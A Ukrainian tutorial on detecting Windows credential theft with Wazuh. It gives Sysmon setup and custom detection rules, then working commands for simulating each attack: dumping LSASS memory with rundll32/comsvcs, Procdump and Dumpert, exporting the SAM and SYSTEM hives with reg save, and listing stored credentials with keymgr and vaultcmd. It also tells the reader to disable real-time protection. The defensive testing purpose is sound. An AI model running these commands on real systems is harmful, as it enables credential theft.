Wazuh. Виявлення несанкціонованого доступу до облікових даних Windows

Вступ

Несанкціонований доступ до облікових даних став критичною проблемою безпеки для організацій. Він дозволяє зловмисникам дістатися до систем, що сприяє розширенню атаки та підвищенню привілеїв у цільовому середовищі. Цей підхід допомагає уникнути виявлення та полегшує злочинну діяльність.

Щоб ефективно викривати та реагувати на несанкціонований доступ до облікових даних у Windows, організації мають запровадити надійну систему моніторингу безпеки для виявлення незвичайної поведінки.

У цій публікації продемонстровано, як імітувати та викривати такі атаки:

  • Дамп пам’яті служби підсистеми локального центру безпеки (LSASS)
  • Експорт куща реєстру диспетчера облікових записів безпеки (SAM)
  • Використання диспетчера облікових даних Windows

Примітка: ми виступаємо проти зловмисного хакерства. Цю інструкцію слід використовувати виключно для перевірки якості роботи інструментів безпеки у власних системах.

Інфраструктура

  • Попередньо впроваджена та готова до використання Wazuh OVA 4.5.1. Ця віртуальна машина містить центральні компоненти Wazuh (сервер, indexer, дешборд).
  • Встановлена та зареєстрована на сервері Wazuh кінцева точка Windows 11 з агентом Wazuh 4.5.1.

Основні цілі зловмисників у системі Windows

  • Локальні акаунти
  • Акаунти домену
  • Браузери
  • Менеджери паролів
  • Диспетчер облікових даних Windows

Техніки атак

Дамп пам’яті LSASS

Це техніка, яку використовують зловмисники для викрадення чутливої інформації, зокрема облікових даних, зі скомпрометованої системи. Служба підсистеми локального центру безпеки (LSASS) є критично важливим процесом Windows, що відповідає за пов’язані з безпекою функції, включаючи автентифікацію користувачів і зберігання облікових даних. Вилучивши пам’ять LSASS, зловмисники потенційно можуть отримати доступ до незашифрованих паролів та іншої чутливої інформації.

Деякі варіанти цієї техніки:

  • Використання Procdump, Process Explorer або Dumpert: деякі зловмисники обирають спеціалізовані інструменти, що забезпечують більший контроль і гнучкість, даючи їм можливість націлитися на конкретні місця в пам’яті та вилучити чутливу інформацію.
  • Rundll32.exe MiniDump із comsvcs: rundll32.exe – це легітимний процес Windows, потрібний для роботи функцій динамічно приєднуваної бібліотеки (DLL). Зловмисники можуть використати одну з них – MiniDump, щоб вилучити вміст пам’яті LSASS у файл DMP (дамп).

До прикладу, для таких цілей вони також можуть експлуатувати можливості служб компонентів (comsvcs) DLL. Викликаючи відповідні функції, зловмисні хакери вилучають пам’ять LSASS і зберігають її у файлі DMP для подальшого аналізу.

Експорт куща реєстру SAM

Диспетчер облікових записів безпеки (SAM) є важливим компонентом інфраструктури безпеки Windows. Він є файлом бази даних, що зберігає інформацію про локальні акаунти користувачів та облікові дані. Це включає чутливу інформацію, як-от хеші паролів для автентифікації. База даних SAM є фундаментальною частиною підсистеми безпеки Windows і відіграє важливу роль у захисті облікових записів користувачів і системних ресурсів.

Експлуатація здійснюється за допомогою законної утиліти Windows reg.exe для взаємодії з системним реєстром. Експортуючи його кущі, зловмисники можуть отримати доступ до облікових даних в автономному режимі. Це дозволяє їм зламувати паролі та робити інші шкідливі дії.

Експлуатація диспетчера облікових даних Windows

Диспетчер облікових даних Windows – це вбудована функція в операційних системах Microsoft Windows, що дозволяє користувачам зберігати та керувати різними обліковими даними, як-от юзернейми, паролі та інша інформація для автентифікації. Цей інструмент допомагає спростити процес входу в різні програми, вебсайти та мережеві ресурси. Однак його використання також робить його мішенню для зловмисних хакерів, що прагнуть викрасти ці чутливі облікові дані.

Методи експлуатації включають:

  • Використання rundll32.exe і сервісу керування ключами: зловмисники часто експлуатують цей процес для взаємодії з диспетчером облікових даних Windows. Зокрема, вони можуть застосувати файл keymgr.dll для маніпулювання обліковими даними та утилітою credwiz для створення їх резервної копії (у файл .crd). Слід звертати увагу на випадки, коли rundll32.exe використовується з командами, що включають keymdr.dll, особливо з аргументом KRShowKeyMgr.
  • Перерахування процесу VaultCmd: зловмисники можуть його експлуатувати для отримання інформації про збережені облікові дані. Для виявлення такої атаки варто звертати увагу на команди vaultcmd, що містять аргумент listcmd.

Виявлення за допомогою Wazuh

Інтеграція Sysmon

Потрібно виконати наведені нижче дії, щоб налаштувати агент Wazuh для збору журналів Sysmon і надсилання їх на сервер Wazuh для аналізу:

1) Завантажити Sysmon зі сторінки Microsoft Sysinternals із файлом конфігурації sysmonconfig.xml на кінцевій точці Windows 11.

2) Виконати цю команду від імені адміністратора для інсталяції Sysmon із завантаженим файлом конфігурації через PowerShell:

> .\sysmon.exe -accepteula -i sysmonconfig.xml

3) Налаштувати агент Wazuh для збору подій Sysmon, додавши такі параметри до файлу конфігурації агента в C:\Program Files (x86)\ossec-agent\ossec.conf:

<ossec_config>
  <localfile>
    <location>Microsoft-Windows-Sysmon/Operational</location>
    <log_format>eventchannel</log_format>
  </localfile>
</ossec_config>

4) Перезапустити агент за допомогою команди PowerShell від імені адміністратора:

> Restart-Service -Name wazuh

Конфігурація сервера Wazuh

1) Додати наступні правила до файлу /var/ossec/etc/rules/local_rules.xml для генерування сповіщень на дешборді Wazuh у випадку проведення будь-якої із зазначених вище атак:

<group name="Windows,attack,">
<!-- Detecting an LSASS memory dumping attack using Rundll32.exe Minidump Function or Comsvcs.dll Exploitation -->
  <rule id="100010" level="10">
    <if_sid>61609</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)\\\\rundll32.exe</field>
    <field name="win.eventdata.imageLoaded" type="pcre2">(?i)[c-z]:\\\\Windows\\\\System32\\\\comsvcs\.dll</field>
    <description>Possible adversary activity - LSASS memory dump: $(win.eventdata.imageLoaded) loaded by using $(win.eventData.image) on $(win.system.computer).</description>
    <mitre>
      <id>T1003.001</id>
    </mitre>
  </rule>

<!-- Detecting an LSASS memory dumping attack using specialized tools -->
  <rule id="100011" level="10">
    <if_sid>61613</if_sid>
    <field name="win.eventData.targetFilename" type="pcre2">(?i)\\\\[^\\]*\.dmp$</field>
    <field name="win.eventData.image" negate="yes" type="pcre2">(?i)\\\\lsass.*</field>
    <description>Possible adversary activity - LSASS memory dump: $(win.eventdata.image) created a new file on $(win.system.computer) endpoint.</description>
    <mitre>
      <id>T1003.001</id>
    </mitre>
  </rule>

<!-- Detecting a Windows Credential Manager exploitation attack -->
  <rule id="100012" level="10">
    <if_sid>61603</if_sid>
    <field name="win.eventData.Image" type="pcre2">(?i)\\\\rundll32.exe</field>
    <field name="win.eventData.commandLine" type="pcre2">keymgr.dll,KRShowKeyMgr</field>
    <description>Possible adversary activity - Credential Manager Access via $(win.eventData.Image) on $(win.system.computer) endpoint.</description>
    <mitre>
      <id>T1003</id>
    </mitre>
  </rule>

<!--  Detecting a Windows Credential Manager exploitation attack by VaultCmd process enumeration -->
  <rule id="100013" level="10">
    <if_sid>92052</if_sid>
    <field name="win.eventData.image" type="pcre2">(?i)\\\\vaultcmd.exe</field>
    <field name="win.eventData.commandLine" type="pcre2">list</field>
    <description>Possible adversary activity - Attempt to list credentials via $(win.eventData.Image) on $(win.system.computer) endpoint.</description>
    <mitre>
      <id>T1003</id>
    </mitre>
  </rule>

</group>

В якому спрацьовують правила:

  • ID 100010 – у випадку дампа пам’яті LSASS за допомогою утиліт rundll32.exe та comsvcs.dll.
  • ID 100011 – у разі дампа пам’яті LSASS з використанням таких інструментів, як procdump або dumpert.
  • ID 100012 – якщо до диспетчера облікових даних отримують доступ і проводять резервне копіювання.
  • ID 100013 – у випадку створення списку облікових даних Windows за допомогою утиліти vaultcmd.exe.

3) Перезапустити менеджер Wazuh:

# systemctl restart wazuh-manager

Імітація атак

Потрібно виконати наведені нижче команди в Powershell з правами адміністратора.

Дамп пам’яті LSASS

Rundll32.exe MiniDump із comsvcs

Треба виконати цю команду для імітації атаки за допомогою rundll32.exe та comsvcs.dll:

> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full

Використання спеціалізованих інструментів

Примітка: система безпеки Windows може блокувати їх роботу. Потрібно вимкнути захист у режимі реального часу на кінцевій точці Windows 11, щоб провести імітацію атак за допомогою Procdump, Process Explorer або Dumpert.

Procdump:

Це утиліта командного рядка, розроблена компанією Sysinternals, яку можна використовувати для дампа пам’яті процесів, включаючи LSASS.

Для імітації атаки потрібно:

1) Завантажити Procdump з вебсайту Microsoft:

> Invoke-WebRequest https://download.sysinternals.com/files/Procdump.zip -OutFile procdump.zip

2) Перейти до місця завантаження та розпакувати стиснений файл за допомогою команди:

> Expand-Archive procdump.zip

3) Запустити файл у каталозі Procdump таким чином:

> cd procdump
> .\procdump.exe -accepteula -ma lsass.exe lsass.dmp

Результат має бути таким:

ProcDump v11.0 - Sysinternals process dump utility 
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[20:04:09] Dump 1 initiated:
C:\Users\Lab\Downloads\Procdump\lsass.dmp
[20:04:09] Waiting for dump to complete...
[20:04:09] Dump 1 writing: Estimated dump file size is 45 MB.
[20:04:14] Dump 1 complete: 45 MB written in 5.4 seconds
[20:04:14] Dump count reached.

Dumpert:

Це утиліта для дампа пам’яті, розроблена Outflank. Вона використовує системні виклики та техніки відключення API для проведення атаки. Для її імітації потрібно:

1) Завантажити Dumpert за допомогою команди нижче:

> Invoke-WebRequest https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe -OutFile Outflank-Dumpert.exe

2) Запустити файл таким чином:

> .\Outflank-Dumpert.exe

Результат має бути таким:

________          __    _____.__                 __
 \_____  \  __ ___/  |__/ ____\  | _____    ____ |  | __
  /   |   \|  |  \   __\   __\|  | \__  \  /    \|  |/ /
 /    |    \  |  /|  |  |  |  |  |__/ __ \|   |  \    <
 \_______  /____/ |__|  |__|  |____(____  /___|  /__|_ \
         \/                             \/     \/     \/
                                  Dumpert
                               By Cneeliz @Outflank 2019

[1] Checking OS version details:
        [+] Operating System is Windows 10 or Server 2016, build number 22621
        [+] Mapping version specific System calls.
[2] Checking Process details:
        [+] Process ID of lsass.exe is: 852
        [+] NtReadVirtualMemory function pointer at: 0x00007FFA6D86F520
        [+] NtReadVirtualMemory System call nr is: 0x3f
        [+] Unhooking NtReadVirtualMemory.
[3] Create memorydump file:
        [+] Open a process handle.
        [+] Dump lsass.exe memory to: \??\C:\Windows\Temp\dumpert.dmp
        [+] Dump succesful. 

Експорт куща реєстру SAM

Базу даних SAM можна знайти в каталозі %SystemRoot%\System32\config\SAM. Для отримання даних із її куща можна використовувати різні техніки та інструменти, як-от SAMInside, PwDump і вбудований редактор реєстру Windows (Regedit).

Потрібно виконати одну з наведених нижче команд для імітації експорту куща реєстру SAM за допомогою утиліти regedit:

> reg.exe save hklm\sam sam.save

> reg.exe save hklm\system system.save

Наведені вище команди зроблять бекап або збережуть копію диспетчера облікових записів безпеки Windows (SAM) і куща HKEY_LOCAL_MACHINE\SYSTEM реєстру Windows. Потім зловмисники можуть використовувати їх для отримання хешів усіх локальних облікових записів у системі.

Експлуатація диспетчера облікових даних Windows

Використання rundll32.exe і процесу керування ключами

Треба виконати команду:

> rundll32 keymgr.dll,KRShowKeyMgr

Вона відкриває «Збережені імена користувачів і паролі» на кінцевій точці Windows, що полегшує зловмисникам створення резервної копії списку облікових даних.

Перелік процесів VaultCmd

Треба виконати цю команду, щоб запустити процес vaultcmd для одержання списку облікових даних, що зберігаються у відведеному для них сховищі:

> vaultcmd /listcreds:"Windows Credentials" /all

Результат виявлення

Після виконання кожної імітації атаки на дешборді Wazuh відображатимуться різні події, як показано на зображенні нижче:

Примітка: власне правило Wazuh 92026 запускається у випадку дампа куща реєстру SAM.

Підписатися на новини